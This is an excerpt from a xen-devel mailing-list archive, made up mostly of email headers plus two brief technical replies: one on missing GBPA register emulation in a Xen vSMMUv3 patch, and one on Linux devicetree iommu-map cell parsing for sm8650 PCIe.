 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=IoyeHsoIdyoRGfYFuEUfgAUK6J0sRslzkFq1xLXToR4=;
 b=CBgDZJC/ebai16hEjaGXeIFyCewguuarZ3FaoD5RPpYQCBvptRE6rGaaZTfFvH2ZpibSbJzcTGGGnQ/abtNcgiZ9x2fi1iYZ/VI8mrEGH4EtuMNN2+dAoHF8zoujA/xIvlmSJnyx4yoUDobpAM+rEVO+laxXR83wdj2elSboxzHc7Y9lkPOw7bv/+6AhvPwOnT34nNI+zs3V9sRioWKN88JQGNLM5+/3Xc5C9E/2vjNBtdys4kLBiIZdSTSaLPYagp90/yy7Vx/ZbmCKfXvMdf4+oy2dDNPJLLQ+ELTXTFB79DSp8gsv5NWqln96DlOBGpqgwATFvvhtfWadZFrdRg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 198.47.23.195) smtp.rcpttodomain=epam.com smtp.mailfrom=ti.com; dmarc=pass
 (p=quarantine sp=none pct=100) action=none header.from=ti.com; dkim=none
 (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ti.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=IoyeHsoIdyoRGfYFuEUfgAUK6J0sRslzkFq1xLXToR4=;
 b=sp/wzLHpvXX64rGeTtmDwV54Ccbt8tU4RZ5uMOkt/C0V5XXWKxqxce4dj/nA9xo8gFQBm8mGDO69lbDl7fEod93EYyd6tdT7om8XFf2juh7YBUjOSGRd9KH6WKKl3EqJrTcSTwa9MyH2cpcJs4lSdo1TudXcV9Y0CmvoalUo1YQ=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 198.47.23.195)
 smtp.mailfrom=ti.com; dkim=none (message not signed) header.d=none;dmarc=pass
 action=none header.from=ti.com;
Received-SPF: Pass (protection.outlook.com: domain of ti.com designates
 198.47.23.195 as permitted sender) receiver=protection.outlook.com;
 client-ip=198.47.23.195; helo=lewvzet201.ext.ti.com; pr=C
Message-ID: <b1ef59c0-5331-4bfa-aa50-ea7b809d4539@ti.com>
Date: Tue, 28 Jul 2026 16:31:07 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 08/23] xen/arm: vsmmuv3: Add support for registers
 emulation
To: Milan Djokic <milan_djokic@epam.com>,
        "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Rahul Singh <rahul.singh@arm.com>,
        Stefano Stabellini
	<sstabellini@kernel.org>,
        Julien Grall <julien@xen.org>,
        Bertrand Marquis
	<bertrand.marquis@arm.com>,
        Michal Orzel <michal.orzel@amd.com>,
        "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>
References: <cover.1774918270.git.milan_djokic@epam.com>
 <25adb33c4be3932c2d946cf7757c933eb042476c.1774918270.git.milan_djokic@epam.com>
Content-Language: en-US
From: abhash <a-kumar2@ti.com>
In-Reply-To: <25adb33c4be3932c2d946cf7757c933eb042476c.1774918270.git.milan_djokic@epam.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-C2ProcessedOrg: 333ef613-75bf-4e12-a4b1-8e3623f5dcea
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN2PEPF000044A3:EE_|DM3PR10MB7972:EE_
X-MS-Office365-Filtering-Correlation-Id: 6f915d56-af38-4af6-0aa3-08deec978ac7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|82310400026|36860700016|23010399003|1800799024|18002099003|22082099003|56012099006|4143699003|10067099003|43062017;
X-Microsoft-Antispam-Message-Info:
	nKuClujGbMAanal/3hBFMwkrUoU9GO0rBCOAHpN0Lr4YzQXPn4ANfxtu8NCrXYLqD7NmLsHsqnb05RFGTF8FELqDb5ofqNnlRReNXBodVghuOwMfPLdQF5YUTyxPiknie628CZJ7raZsRUziEPUz8AYPl72ZBrOGK7/z7u4avCFgGqgzR/OW6FwjcYisO4Zf93eRH+cEVY4e6qDy/4k8GsLhtH6oTueUvjaV8zxh67OUhh54jPxfoiFOKrk7Gb/0NRPPep5ZTu7UzNQt/v+rqWYAvyNvxbHGCaqfswvczxNQ51yKm8mTcFm4hphZRBOo8QxqyEoZi0jFcZFhoBdCihFRnU5oFW6pwLpNX6Pxasbctjwv7RpesvHPPYkKWHFruhdbIUgGL4Pp8PIl1w1tgfVRKJ/f7tZlB1ws1kIFo4nXAetTSVXRqgQ0ErejpyypJpqAD9HLNjQnCAcuftDXD1b1eYEt/emuKnIbDJIoA26cNqiN7DeXOjZVnAKRPlVQxCZTrSTrjBlX/D/DcEn0l0ANFCtJFu2UKFdayq8aBJsC9V6H3CBTHSBfxx1HTarS5N3s1ar6WHA8n9Wr8xJ616mGd41vDtX2HnPOLOJEyYMmvqjy8GgLY88GUldkijVtXPizYhu0Q0MjGekGcT2HwzSEiyYFtk0fRX6I8/4DlklbvkEbJGK49RAUdAAGwdx4JXHlW7xqs/tsYrAVjKOWWo8A3Sd3iCKan3Cxh5akF/kZrzKrf8ForjAs3J7eRpEs
X-Forefront-Antispam-Report:
	CIP:198.47.23.195;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:lewvzet201.ext.ti.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(82310400026)(36860700016)(23010399003)(1800799024)(18002099003)(22082099003)(56012099006)(4143699003)(10067099003)(43062017);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ef4mXVf/qzAJAqBQVQyHhFMv1aW4QE+1f/PWsBkIF0N7r/2E00Fh+/Cj1TW6fJMI8/Euv0g9octUeVYVQGgo4GMVAn6nmfnWsThOA9nIo4bdukek5Qk5ZS6dVoqrMc4MDFA9Yne7uwWzfGcQrzwRLw9S2+kGsDG7wDJSHz28m9zncNfAQLl7Nu1Ohcet2a9HCyonDd3J61iP4E+NVT470CPJDVAjdV5hJpFGYJhldMpbEBifYsCxJ2+nXsoljaNMaVX1peW5tDrf9SkD8Na9zh+8AaXg4yVzz+YsOgaEMvep1U2Pe5h+lp8hGzPXyU6bYdDKALMwqOU8XY7MSoDa07viuW3ZmSRP2vWhaj5qVm2NBBmsGLzmpcUOu4CeN9qerxMefiCUJHm6bEbfgn1gOyLa9JgvBe9ywHQgKx1PWrEHHe56C9RnU7Fd2qI0ajza
X-Exchange-RoutingPolicyChecked:
	szicvCSjcZStL8AyZxQlUtv1FHyP9iL7KFt3iSgX2Ux0q6mv4Ou9OKG+L2A6P7oLaP98lEttc+QhYhHJ8RWIERAjbKg/ebUSdU9GY5qRafMD36TnyBwd0V9umfeTpRoT+NEyPH2O/+kluw7DM2H5dAx4RUrhV4nCowSeIfYR+qJa4OwNH8ZcST9UOktizpetSZ+3Sy2BwHrOUU4Dac+QbTtrRBvYEhNs8oCqh1Uwmrq47RJk+Tt20BFOEyzx+2nW+xDVpQGHIXctzWdQLCcHbMLWE/6W55cEygzaIuaPrP56jLNH9Jh9wYekAR38XxPQkiuV2O5jF99rht02zge5xQ==
X-OriginatorOrg: ti.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 11:01:14.4524
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 6f915d56-af38-4af6-0aa3-08deec978ac7
X-MS-Exchange-CrossTenant-Id: e5b49634-450b-4709-8abb-1e2b19b982b7
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=e5b49634-450b-4709-8abb-1e2b19b982b7;Ip=[198.47.23.195];Helo=[lewvzet201.ext.ti.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN2PEPF000044A3.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM3PR10MB7972
X-Authority-Analysis: v=2.4 cv=c46bhx9l c=1 sm=1 tr=0 ts=6a688bfe cx=c_pps
 a=26rO91Bbw6QoawbNyte6AQ==:117 a=f+v6EHfkeJbVwR46tk4DMg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10
 a=s63m1ICgrNkA:10 a=V5UXEbMT0ywA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=Z8NIEmU8O1QQgoT56wFK:22 a=fPAWb5peG099m5CrUpKH:22 a=0RkM-CO9p0AhqfmbK5EA:9
 a=QEXdDO2ut3YA:10
X-Proofpoint-ORIG-GUID: CVxRR_uVcN8oIqJndeBkI3pMvWyaxhRT
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA5NyBTYWx0ZWRfX4JHSWFteyfDb
 /dzG+3KUHVExBDXEchLCEI2ppomWL7xEgWH7dGvAJnAyG1OZbpb9U03lN10eU3nwyVToYL9Wccf
 B6KPd7sw0BI6FQ3SwrYpd2nFQGkAXwo=
X-Proofpoint-GUID: CVxRR_uVcN8oIqJndeBkI3pMvWyaxhRT
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA5NyBTYWx0ZWRfX8gRW1cEKnzZP
 r5pWNVMx7dX5KjxsP2/S13zmq5vKXsS5sbhUBk6UG0mWjSpcE1wp42ufEEz1iVg3pwiLc7IFrhp
 xEr1CX0w7K/xjB9KZsfkAY6uMHcWLjbGBbQQL7lb806jdNdxrGI8wtwokiYXISndxaBJqwjMfqx
 wWR4X8QbuSWY0iAF5DZQYinpE7KXHpLpK3pXyr3whuJQ/ZNDYasz4Tb3czc3MrnSzMYjv1FYk3Q
 arHPz7mDmbh2c9x/5I5h+wXkPQWgrSkHtffF4/uBLjYLOzyJ8xZwukgzKKWgZvOMhroDWdZYXCw
 K9D7hKnPw0/m9ufjZ9zzBde2uhZV3Ka9U4niuzA+MBFvaDg2aP/2lq6+GiX9+bN3q1ZadE1sUDv
 E9t6jHRYDkhMDiy4cI1mPchgFP00uYJsgCLUdR8bDwUS8AiQtlXufBnJ1Scjg4Oh3xRK5iL1H06
 IVZo3/61FkXV1GKOcGw==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_02,2026-07-28_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 lowpriorityscore=0 phishscore=0 clxscore=1011 suspectscore=0
 priorityscore=1501 adultscore=0 malwarescore=0 bulkscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280097
X-purgate-ID: tlsNG-16d1c6/1785236491-F7ACA77B-91A6C971/0/0
X-purgate-type: clean
X-purgate-size: 699

>   struct virt_smmu {
>       struct      domain *d;
>       struct      list_head viommu_list;
> +    uint8_t     sid_split;
> +    uint32_t    features;
> +    uint32_t    cr[3];
> +    uint32_t    cr0ack;
> +    uint32_t    gerror;
> +    uint32_t    gerrorn;
> +    uint32_t    strtab_base_cfg;
> +    uint64_t    strtab_base;
> +    uint32_t    irq_ctrl;
> +    uint64_t    gerror_irq_cfg0;
> +    uint64_t    evtq_irq_cfg0;
> +    struct      arm_vsmmu_queue evtq, cmdq;
>   };
>   

Hi Rahul/Milan,


Any reason why the GBPA register emulation is not added?

When "arm_smmu_device_reset" would be called by the guest kernel, it 
would fail.


Thanks,

Abhash



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 11:34:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 11:34:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372397.1619744 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wog59-00084f-3w; Tue, 28 Jul 2026 11:34:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372397.1619744; Tue, 28 Jul 2026 11:34:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wog59-00084Y-0m; Tue, 28 Jul 2026 11:34:47 +0000
Received: by outflank-mailman (input) for mailman id 1372397;
 Tue, 28 Jul 2026 11:34:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmitry.baryshkov@oss.qualcomm.com>)
 id 1wog57-00084S-Ku
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 11:34:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wog57-004Jg6-1T
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:34:45 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmitry.baryshkov@oss.qualcomm.com>)
 id 6a6893d2-bab6-0a2a0a5309dd-0a2a4501e6c2-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:34:44 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmitry.baryshkov@oss.qualcomm.com>)
 id 6a6893d3-5984-0a2a45010019-cddcb4834248-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:34:44 +0200
Received: from pps.filterd (m0279872.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66SBHMZB2482996
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 11:34:42 GMT
Received: from mail-qt1-f198.google.com (mail-qt1-f198.google.com
 [209.85.160.198])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fpq9hh689-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 11:34:42 +0000 (GMT)
Received: by mail-qt1-f198.google.com with SMTP id
 d75a77b69052e-51c19493ac2so55059831cf.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 04:34:42 -0700 (PDT)
Received: from umbar.lan
 (2001-14ba-a073-af00-264b-feff-fe8b-be8a.rev.dnainternet.fi.
 [2001:14ba:a073:af00:264b:feff:fe8b:be8a])
 by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b2be090b6asm1974708e87.36.2026.07.28.04.34.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 28 Jul 2026 04:34:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:Content-Disposition:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=qcppdkim1; bh=Gbo+tER6P2agi65+IoK11DMG
	JudcKhnoP053vnEPwzE=; b=TpNp3W2Oolckm9QwP32Ki0zrr3+eXlkVSRJxgTpc
	dOvS4kJVGPq8EpW3KdYCXMC6GL21HF1+SUxsIUEY+50un8chx1Q20NBl0s/w2lpb
	tdMvRzHZuuYefLKBTi/YahSW9JEBDT3i9Fn4e/bqTnn13ikgHOnw2oCky9nfjykS
	iOgcNvdevzotQWJXvlG9qz7WUQTpv/Y51/bss4rCCAW45ipiUdj2eBeybrv7qr5t
	AWbKT+X+x++79ZHApw0NKIP/IK0MjrDEbruHOHP5Ew7tmrTiuUiG5YyOntpDHsKu
	sO+oYyE+1kH+pPVHC9jns2tXo5A3YU2Ky2cNf7TtxYzvgg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785238482; x=1785843282; darn=lists.xenproject.org;
        h=in-reply-to:content-disposition:content-type:mime-version
         :references:message-id:subject:cc:to:from:date:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=Gbo+tER6P2agi65+IoK11DMGJudcKhnoP053vnEPwzE=;
        b=heEg9j4u7MLJEHSv4WnJt17ui8Wx4pUSYKySHBE4N3D9dXuFCOl06A0knQdnu5LkF5
         dUWsk6S2uwE8FRv+3HQe/mnBE4ufA+hwhGt7sZn6NVDRSIaMcks3tTHsyj/sTHXYRqfk
         3K1vKHx4NNaBm8flHl2wZ91ePMYfnfnafS24c9375oAaJl5UYZIWlxYXzBTSXK0EC7mq
         QWEkdBGWY05KGVZZOyIyn21BcNDY3G12yRQFTtZPZYAVdhduiy8zpAzv4ljWIhiwIjsN
         yUJNbyx7nydlSqv9noi75wgeqQ1r87/2oBhPuk2CiCT+GW4di3p+6i531z8HIhLwt+tX
         FUjA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785238482; x=1785843282;
        h=in-reply-to:content-disposition:content-type:mime-version
         :references:message-id:subject:cc:to:from:date:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Gbo+tER6P2agi65+IoK11DMGJudcKhnoP053vnEPwzE=;
        b=LBgaygmTszvWyVrOX4GxGjQXej67cGex+6mTsZejYf448SmcujWhnc6SBcMy1aV4Uw
         nd8Idjv7aH6Zn4S2ryel4NJSvX8qwkNxM+wNh7WCZfam7V0qcgs4XRPsVtfLP/vd/W9P
         AFxyekZ5CDJoWItrfXGz82r9H3cJb/xcRJ8CTptXQ/1HEykNCHpewd9XeJMizZA889oI
         1T9wBnarJCWESWxqqCzk2bN6/3XJ3Z4ylPJJApa0vz8WUbFh+NgULORcH3MvUnYk89yE
         3XhgonROl5BZ1++D9HnF6w0EzHbgVxNtiRuTpdbuKxK9X0NH6PlkzKpNpLBEEtr1/1dm
         OSWA==
X-Forwarded-Encrypted: i=1; AHgh+Rod7DbuRoowikOyzmpAglHXG1fEcz0obHnNRH3G/IQdUWXoXN7TMdXk6s2xCsGqCv80HE+pzqr/Ruo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw+bl5Ag7HYoHS5WCxwiWdaBVXrnObtU9rCdsLOdQzVse8brpoT
	913zwg/nLYBWQP9RqfocjmTPNkpoO92k3I5ww84G8MOh07+v/rpd0RO+v/Jy++vlWl7L4mbkq84
	7/AfL0qCLkwHwVaS2MCmLZQ/3PdhuE4zKhCebQTZ/oRx93L5jkEvHGo+NCONT7h7SPOa/ug==
X-Gm-Gg: AR+sD13OzW/myjnYGqO65VwmkZhF1jnk4JcHYiKEAOse61y9/47GvGr7aPNYmi2pFu3
	JnrUdcqMp2ubFmGF79aPMdXcskqyNaVFdny7vA172b9GXhVWmS+d58Iu910Fadv0UmqLlm+UNfl
	Eb7DMh55DSKHSXORIc8bmZTivn1o6B39sw09E8P877s9GV+VVtz0ATIXAWKlgQHw/aJROczK9Pt
	ikxKOB8KA06AESC455aFK+E1LqZh5+X2TJFldhFHAg+mG52PoGuk1vSmk3gLJv5Zkw8hN9ie6EZ
	SieiLCD/gZpbDDFMqOXkkT7ZVsVbialTkhXL+iOjJrx/husRPhMjcx9m5rSjgckfG7ytz9owdzU
	vF0sOItda9G+KzyNtQKcIs/wHjsCRBM9aHRLb1Uu/AKeOuzDNHHoX4n8tj3pC8bQzCiNgUbWi0j
	Q0tIr70pICtWJ6WA==
X-Received: by 2002:a05:622a:138e:b0:528:320b:305e with SMTP id d75a77b69052e-529d6feab04mr15912781cf.35.1785238482071;
        Tue, 28 Jul 2026 04:34:42 -0700 (PDT)
X-Received: by 2002:a05:622a:138e:b0:528:320b:305e with SMTP id d75a77b69052e-529d6feab04mr15912161cf.35.1785238481464;
        Tue, 28 Jul 2026 04:34:41 -0700 (PDT)
Date: Tue, 28 Jul 2026 14:34:38 +0300
From: Dmitry Baryshkov <dmitry.baryshkov@oss.qualcomm.com>
To: Neil Armstrong <neil.armstrong@linaro.org>
Cc: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>,
        Nipun Gupta <nipun.gupta@amd.com>,
        Nikhil Agarwal <nikhil.agarwal@amd.com>,
        Joerg Roedel <joro@8bytes.org>, Will Deacon <will@kernel.org>,
        Robin Murphy <robin.murphy@arm.com>,
        Lorenzo Pieralisi <lpieralisi@kernel.org>,
        Marc Zyngier <maz@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
        Rob Herring <robh@kernel.org>, Saravana Kannan <saravanak@kernel.org>,
        Richard Zhu <hongxing.zhu@nxp.com>,
        Lucas Stach <l.stach@pengutronix.de>,
        Krzysztof =?utf-8?Q?Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
        Manivannan Sadhasivam <mani@kernel.org>,
        Bjorn Helgaas <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
        Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
        linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
        iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
Message-ID: <fuqnxdknkajqotzmmlknwnthqpku7as5kpvmgogexl5bi7x6y4@tthbasf5lqvc>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDEwMiBTYWx0ZWRfXx4aFZijdDnZV
 kwusz6uVa/oCoFkJPJitgcZxVCzsOAKfDGkeELSx6nmNRYaEMemPVZj214kMEVhm9c20xzd1Vui
 Wh2QltQPb8CCOyiVUUYwfx6kYuENmOw=
X-Proofpoint-GUID: K15ILiHgqwl9YfwDn6Y-yu_m9MC4jyIm
X-Proofpoint-ORIG-GUID: K15ILiHgqwl9YfwDn6Y-yu_m9MC4jyIm
X-Authority-Analysis: v=2.4 cv=Aa6B2XXG c=1 sm=1 tr=0 ts=6a6893d2 cx=c_pps
 a=mPf7EqFMSY9/WdsSgAYMbA==:117 a=xqWC_Br6kY4A:10 a=kj9zAlcOel0A:10
 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=u7WPNUs3qKkmUXheDGA7:22 a=yx91gb_oNiZeI1HMLzn7:22 a=7CQSdrXTAAAA:8
 a=EUspDBNiAAAA:8 a=wdqIz0_Y7svv89iKmCwA:9 a=CjuIK1q_8ugA:10
 a=dawVfQjAaf238kedN5IG:22 a=a-qgeE7W1pNrGK8U0ZQC:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDEwMiBTYWx0ZWRfXymEKIBBOBYD/
 KnaS1UtRUtFVfCdKvPcr3/9zxHBU0aJfsrf1srHMB36tc3ujsgdF50AuQGZjo3E83ATNZvQ26ko
 wJmuDOSjysTifyxkeJW6K6JV76uZsUklAH4JS0ppNL6JrOVJYY7si2rEIeHbNAQit51ijwHWkZb
 5soXCr2apgoR6dc93fb8Yn0Pj+DWEwSwHBDk+qJql7SL3j7ipGb+W1pd49orupU7X1NP5N0PvWS
 N+Wc4s2LmI9HHx3Rc970NkXi64KmXdfjbk0z6oYFSlLVeKDEZwRPLE5OqcFsyGCCEiKUsBfJkYG
 nN8zzCwrDLqGaDxls3oSPThHsZPJUKOT5CbtENDejKLXVQcMxUefk+ZM0N03GE351EVjm6Sme/J
 3VVBn7bVihA0WAHlnV1bTAtyEZ/ux5MbZyBCFYBEtID2mPMVm4wlqHI3fdiMqM6txJjnqhp8qUB
 R0+VlCMZLTkZaljzyGg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_03,2026-07-28_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 adultscore=0 phishscore=0 malwarescore=0 clxscore=1011
 lowpriorityscore=0 spamscore=0 priorityscore=1501 bulkscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280102
X-purgate-ID: tlsNG-d62444/1785238484-BF86F757-53343BE6/0/0
X-purgate-type: clean
X-purgate-size: 2793

On Thu, Jul 23, 2026 at 03:17:24PM +0200, Neil Armstrong wrote:
> Hi,
> 
> On 6/3/26 09:13, Vijayanand Jitta wrote:
> > From: Robin Murphy <robin.murphy@arm.com>
> > 
> > So far our parsing of {iommu,msi}-map properties has always blindly
> > assumed that the output specifiers will always have exactly 1 cell.
> > This typically does happen to be the case, but is not actually enforced
> > (and the PCI msi-map binding even explicitly states support for 0 or 1
> > cells) - as a result we've now ended up with dodgy DTs out in the field
> > which depend on this behaviour to map a 1-cell specifier for a 2-cell
> > provider, despite that being bogus per the bindings themselves.
> > 
> > Since there is some potential use in being able to map at least single
> > input IDs to multi-cell output specifiers (and properly support 0-cell
> > outputs as well), add support for properly parsing and using the target
> > nodes' #cells values, albeit with the unfortunate complication of still
> > having to work around expectations of the old behaviour too.
> > 
> > Since there are multi-cell output specifiers, the callers of of_map_id()
> > may need to get the exact cell output value for further processing.
> > Update of_map_id() to set args_count in the output to reflect the actual
> > number of output specifier cells.
> > 
> > Signed-off-by: Robin Murphy <robin.murphy@arm.com>
> > Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
> > Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
> > ---
> >   drivers/of/base.c  | 168 +++++++++++++++++++++++++++++++++++++++++------------
> >   include/linux/of.h |   6 +-
> >   2 files changed, 135 insertions(+), 39 deletions(-)
> > 
> > diff --git a/drivers/of/base.c b/drivers/of/base.c
> > index d658c2620135..ac7961cbab94 100644
> > --- a/drivers/of/base.c
> > +++ b/drivers/of/base.c
> > @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
> >   	return cache_level;
> >   }
> > +/*
> > + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
> > + * specifying only 1 cell. Fortunately they all consist of value '1'
> > + * as the 2nd cell entry with the same target, so check for that pattern.
> > + *
> > + * Example:
> > + *	IOMMU node:
> > + *		#iommu-cells = <2>;
> > + *
> > + *	Device node:
> > + *		iommu-map = <0x0000 &smmu 0x0000 0x1>,
> > + *			    <0x0100 &smmu 0x0100 0x1>;
> 
> So the sm8650 PCIe controllers has:
> 
> pcie@1c08000:
> 			iommu-map = <0     &apps_smmu 0x1480 0x1>,
> 				    <0x100 &apps_smmu 0x1481 0x1>;

To silence the warning, update the iommu maps to:

			iommu-map = <0     &apps_smmu 0x1480 0x0 0x1>,
				    <0x100 &apps_smmu 0x1481 0x0 0x1>;


-- 
With best wishes
Dmitry


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 11:37:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 11:37:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372405.1619753 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wog7e-0000Gf-FP; Tue, 28 Jul 2026 11:37:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
